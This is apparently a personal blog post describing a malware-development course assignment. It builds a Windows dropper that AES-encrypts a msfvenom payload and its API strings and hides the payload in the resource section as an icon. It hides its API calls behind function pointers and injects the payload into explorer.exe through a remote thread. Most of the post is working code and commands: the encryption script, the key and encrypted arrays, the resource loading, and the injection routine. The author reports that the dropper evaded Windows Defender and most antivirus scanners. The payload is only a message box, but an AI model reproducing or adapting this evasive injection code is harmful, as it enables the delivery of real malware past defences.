Malware Development Essentials Assignment
Introduction
This is my first blog post and is all about the assignment part of the course: Malware Development Essentials, by sektor7. The course can be found here: MalDev Essentials. The purpose of this assignment is to create a dropper that encrypts the payload and all the strings with AES and obfuscates all the function calls. The payload is a MessageBox generated by msfvenom, just for PoC purposes. My code, based on the course’s template code, can be found in my Github: geobour98’s Github.
Payload
The payload can be generated with the following msfvenom
command:
1
msfvenom -p windows/x64/messagebox TEXT="Hello, from geobour98" TITLE="RTO: MalDev Essentials" EXITFUNC=thread -f raw -o msgbox64.bin
It is a 64-bit MessageBox with custom text and title, that exits as a thread, because the process injection happens by creating a thread with a pointer to CreateRemoteThread (implant.cpp
). The shellcode is in raw format and is stored in msgbox64.bin
.
AES Encryption
All the strings and the encryption key, which is generated at runtime, are encrypted with AES (aesencrypt.py).
Encryption key generation:
1
KEY = urandom(16)
The list of the strings is the following:
1
str_list = ["kernel32.dll", "explorer.exe", "GetProcAddress", "GetModuleHandleA", "FindResourceA", "LoadResource", "LockResource", "SizeofResource", "VirtualAlloc", "RtlMoveMemory", "CreateToolhelp32Snapshot", "Process32First", "Process32Next", "lstrcmpiA", "CloseHandle", "OpenProcess", "VirtualAllocEx", "WriteProcessMemory", "CreateRemoteThread", "WaitForSingleObject"]
The Python script (aesencrypt.py) is modified in order to print the encrypted strings and encryption key in a copy-paste format.
1
2
3
4
5
6
7
print('char key[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in KEY) + ' };')
str_list = ["kernel32.dll", "explorer.exe", "GetProcAddress", "GetModuleHandleA", "FindResourceA", "LoadResource", "LockResource", "SizeofResource", "VirtualAlloc", "RtlMoveMemory", "CreateToolhelp32Snapshot", "Process32First", "Process32Next", "lstrcmpiA", "CloseHandle", "OpenProcess", "VirtualAllocEx", "WriteProcessMemory", "CreateRemoteThread", "WaitForSingleObject"]
for s in str_list:
rext = os.path.splitext(s)[0]
str = aesenc(s + b"\x00", KEY)
print('unsigned char s' + rext + '[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in str) + ' };')
An example of running the script can be seen below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Z:\RTO-maldev\RTO\10.Assignment>C:\Python27\python.exe aesencrypt.py msgbox64.bin
char key[] = { 0xb6, 0x2, 0x59, 0x6d, 0x5f, 0xab, 0xb6, 0x44, 0xea, 0xd4, 0x8e, 0x57, 0x73, 0x9f, 0x10, 0x2a };
unsigned char skernel32[] = { 0xc1, 0xf5, 0xf8, 0x36, 0x5a, 0xb4, 0x48, 0x24, 0x9a, 0xa5, 0x73, 0x2d, 0x4d, 0xd0, 0x37, 0x52 };
unsigned char sexplorer[] = { 0xaf, 0x5e, 0x2b, 0xd, 0xe, 0x14, 0x62, 0x11, 0xb4, 0xc2, 0x21, 0x31, 0xd8, 0xfb, 0x6, 0xd0 };
unsigned char sGetProcAddress[] = { 0x78, 0x7, 0x35, 0xa5, 0x6b, 0xfa, 0x42, 0xce, 0x2d, 0x22, 0x41, 0x6b, 0x32, 0x27, 0x69, 0x20 };
unsigned char sGetModuleHandleA[] = { 0x55, 0x2a, 0x64, 0x41, 0x57, 0x8c, 0xdf, 0x9f, 0xb0, 0x12, 0x57, 0xe4, 0x53, 0xc6, 0x8f, 0x65, 0xde, 0x87, 0x21, 0x9e, 0x4e, 0xa0, 0x51, 0x81, 0xbd, 0x59, 0xa8, 0x53, 0xec, 0xe4, 0x82, 0x1d };
unsigned char sFindResourceA[] = { 0xe0, 0xb0, 0xfb, 0x8b, 0x94, 0xc6, 0x41, 0xe7, 0x6f, 0xfd, 0x3f, 0xb8, 0xa6, 0x3a, 0xb2, 0xa2 };
unsigned char sLoadResource[] = { 0x84, 0xbd, 0x6a, 0x9f, 0x3c, 0x6c, 0x9a, 0x32, 0x21, 0xcc, 0x1e, 0xc2, 0x3f, 0xf0, 0x21, 0x4b };
unsigned char sLockResource[] = { 0x35, 0x74, 0x43, 0xb6, 0xab, 0x16, 0xd7, 0x62, 0x42, 0x95, 0x81, 0x48, 0x2, 0x3d, 0xcd, 0xdb };
unsigned char sSizeofResource[] = { 0x64, 0xa4, 0xbc, 0x13, 0x85, 0xe, 0x55, 0x76, 0x98, 0xda, 0x71, 0xe4, 0xd8, 0x56, 0x29, 0x88 };
unsigned char sVirtualAlloc[] = { 0xf8, 0xa9, 0x9, 0x5c, 0x9e, 0x4f, 0xfa, 0x9a, 0x39, 0xfe, 0x7f, 0xe3, 0x51, 0xec, 0x27, 0x9c };
unsigned char sRtlMoveMemory[] = { 0x5f, 0xe2, 0x76, 0xcb, 0x47, 0x5c, 0xfb, 0x86, 0xf2, 0xa7, 0x3a, 0xa, 0x3d, 0xc0, 0x68, 0x8d };
unsigned char sCreateToolhelp32Snapshot[] = { 0xe9, 0x44, 0x5b, 0xfb, 0xe9, 0x79, 0x4d, 0x11, 0x99, 0x33, 0x54, 0x5f, 0x2d, 0xa0, 0x6b, 0xba, 0x6d, 0xeb, 0xb9, 0x7d, 0xfc, 0x6e, 0x85, 0x89, 0x3e, 0xd1, 0xbc, 0xd5, 0xa9, 0x8c, 0x3c, 0xec };
unsigned char sProcess32First[] = { 0xb3, 0x97, 0x91, 0x81, 0x9d, 0xaf, 0xa3, 0x46, 0xf8, 0xa3, 0x22, 0xb4, 0xd2, 0x1f, 0x68, 0x2e };
unsigned char sProcess32Next[] = { 0xfc, 0x43, 0xeb, 0xee, 0xe0, 0x13, 0xa4, 0xb9, 0x3, 0x4, 0x47, 0x21, 0x81, 0x89, 0x17, 0x31 };
unsigned char slstrcmpiA[] = { 0x4, 0x67, 0xba, 0x14, 0x71, 0x5f, 0x26, 0xf8, 0x25, 0x7a, 0x9, 0xbd, 0xa5, 0x1c, 0x5, 0x3c };
unsigned char sCloseHandle[] = { 0x20, 0x5a, 0xb6, 0xcc, 0xd7, 0x1e, 0xb7, 0x6f, 0x49, 0xdb, 0x92, 0xb7, 0x92, 0x16, 0xf5, 0x11 };
unsigned char sOpenProcess[] = { 0xa9, 0x78, 0xb7, 0x24, 0x7, 0xb0, 0x5e, 0xdf, 0x9a, 0x9b, 0x81, 0x1e, 0xbd, 0x3b, 0xad, 0xfe };
unsigned char sVirtualAllocEx[] = { 0x97, 0xb3, 0x60, 0xe1, 0x2e, 0x45, 0xe1, 0x9, 0x3d, 0x10, 0x6c, 0xd9, 0x71, 0x8a, 0x5, 0xdf };
unsigned char sWriteProcessMemory[] = { 0x7e, 0x39, 0x4a, 0x5f, 0x2, 0xe9, 0x23, 0x94, 0x8b, 0xf1, 0x8d, 0x8b, 0xd0, 0x98, 0xa6, 0x2e, 0x22, 0x32, 0x49, 0xfb, 0xab, 0x94, 0x34, 0xed, 0x9e, 0x78, 0xc5, 0x38, 0xd0, 0xe5, 0x66, 0x3b };
unsigned char sCreateRemoteThread[] = { 0xb7, 0xfc, 0x43, 0xc4, 0x91, 0x68, 0x82, 0xe3, 0x9, 0x75, 0x7f, 0x75, 0xcb, 0x43, 0xe4, 0xf4, 0x84, 0x23, 0x83, 0xdf, 0x20, 0x33, 0xdc, 0x23, 0xc1, 0x67, 0x58, 0x35, 0x71, 0x3f, 0xcc, 0x11 };
unsigned char sWaitForSingleObject[] = { 0x6d, 0x8e, 0x4c, 0xc2, 0xbf, 0xcc, 0xef, 0x99, 0xa1, 0xe5, 0x5a, 0xf1, 0x94, 0x80, 0x2, 0xa9, 0x9f, 0xee, 0xf6, 0x8e, 0xf2, 0x1f, 0xa1, 0x4e, 0x0, 0x4c, 0x99, 0x8f, 0x83, 0x7f, 0x7, 0x14 };
Z:\RTO-maldev\RTO\10.Assignment>
So, this output can be copied and pasted in implant.cpp
without modification.
The script, also, takes the msgbox64.bin
file as input and creates the file favicon.ico
as output, which contains the AES encrypted payload.
Payload in Resources section
There are 3 sections where payload can be stored in a typical PE file.
.text
-> This is the code section, where the payload lives inside the main function and can be defined as a local variable..data
-> This is the data section, where the payload lives outside the main function and can be defined as a global variable..rsrc
-> This is the resources section, where the dropper is instructed by the compiler to include other files such as icons, images and other PE files.
So, the favicon.ico
is created as a separate file in order to be included as a resource (.rsrc
section) and from which the payload will be extracted.
Compilation
The resource (rc
) compiler is used to compile resources.rc
and generate resources.res
.
Then, the cvtres
executable is used to convert a resource file (resources.res
) to an Object file (resources.o
).
Finally, the cl
executable, which is part of the Visual Studio, produces a COFF Object file (implant.obj
) and the executable file (implant.exe
). Also, the program is compiled as GUI (/SUBSYSTEM:WINDOWS
), which makes the console completely invisible.
GUItrick
In order for the program to be compiled as GUI, the main function inside
implant.cpp
needs to becomeWinMain
.
1 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR, lpCmdLine, int nCmdShow) {
These command can be found in the following batch script: compile.bat
.
Dropper
Instead of using direct calls, pointers will be used. An example declaration of a function (pCreateRemoteThread
) pointing to CreateRemoteThread
can be seen below:
1
2
3
4
5
6
7
8
9
HANDLE (WINAPI * pCreateRemoteThread)(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
First, the encrypted sCreateRemoteThread
gets decrypted by calling the function AESDecrypt
inside AESDecryptString
.
1
AESDecrypt((char *) sCreateRemoteThread, sizeof(sCreateRemoteThread), key, sizeof(key));
Then, the pGetModuleHandleA
, which points at GetModuleHandleA
, returns a handle to the decrypted DLL kernel32.dll
. The handle and the decrypted now string CreateRemoteThread
are passed to the pointer (pGetProcAddress
) of the GetProcAddress
function, which returns a memory address. This memory address is pointed by pCreateRemoteThread
.
1
pCreateRemoteThread = pGetProcAddress(pGetModuleHandleA(skernel32), sCreateRemoteThread);
The above process is the same for the rest of the functions. That’s how the obfuscation of the function calls is accomplished.
After that the payload needs to be extracted from the resources section using pFindResourceA
, pLoadResource
, pLockResource
and pSizeofResource
and is stored in the payload
variable.
1
2
3
4
res = pFindResourceA(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
resHandle = pLoadResource(NULL, res);
payload = (char *) pLockResource(resHandle);
payload_len = pSizeofResource(NULL, res);
The memory for the payload is allocated by pVirtualAlloc
, the payload is copied to the allocated buffer by pRtlMoveMemory
and the payload is decrypted by AESDecrypt
.
1
2
3
exec_mem = pVirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
pRtlMoveMemory(exec_mem, payload, payload_len);
AESDecrypt((char *) exec_mem, payload_len, key, sizeof(key));
The process injection starts by finding (FindTarget
) a target process ID (for explorer.exe
) by creating creating a snapshot of the current processes (pCreateToolhelp32Snapshot
) and searching for the correct one.
1
pid = FindTarget(sexplorer);
The opening of the target process (pOpenProcess
) happens next and the actual injection is accomplished by pVirtualAllocEx
, pWriteProcessMemory
and pCreateRemoteThread
inside Inject
function.
1
2
3
4
5
6
7
8
hProc = pOpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
FALSE, (DWORD) pid);
if (hProc != NULL) {
Inject(hProc, exec_mem, payload_len);
pCloseHandle(hProc);
}
Bypasses
implant.exe
was executed against a fully updated and patched Windows 11 VM, which didn’t flag it as malicious!
Also, 7 out of 26 AV products in AntiScan.me flagged it as malicious, which is pretty interesting!
Summary
This was a great course for beginners in Malware Development, like me, and I highly recommend purchasing it. It is just the tip of the iceberg. Definitely going for the Intermediate
next.
Please, do not hesitate to contact me for any comments or improvements.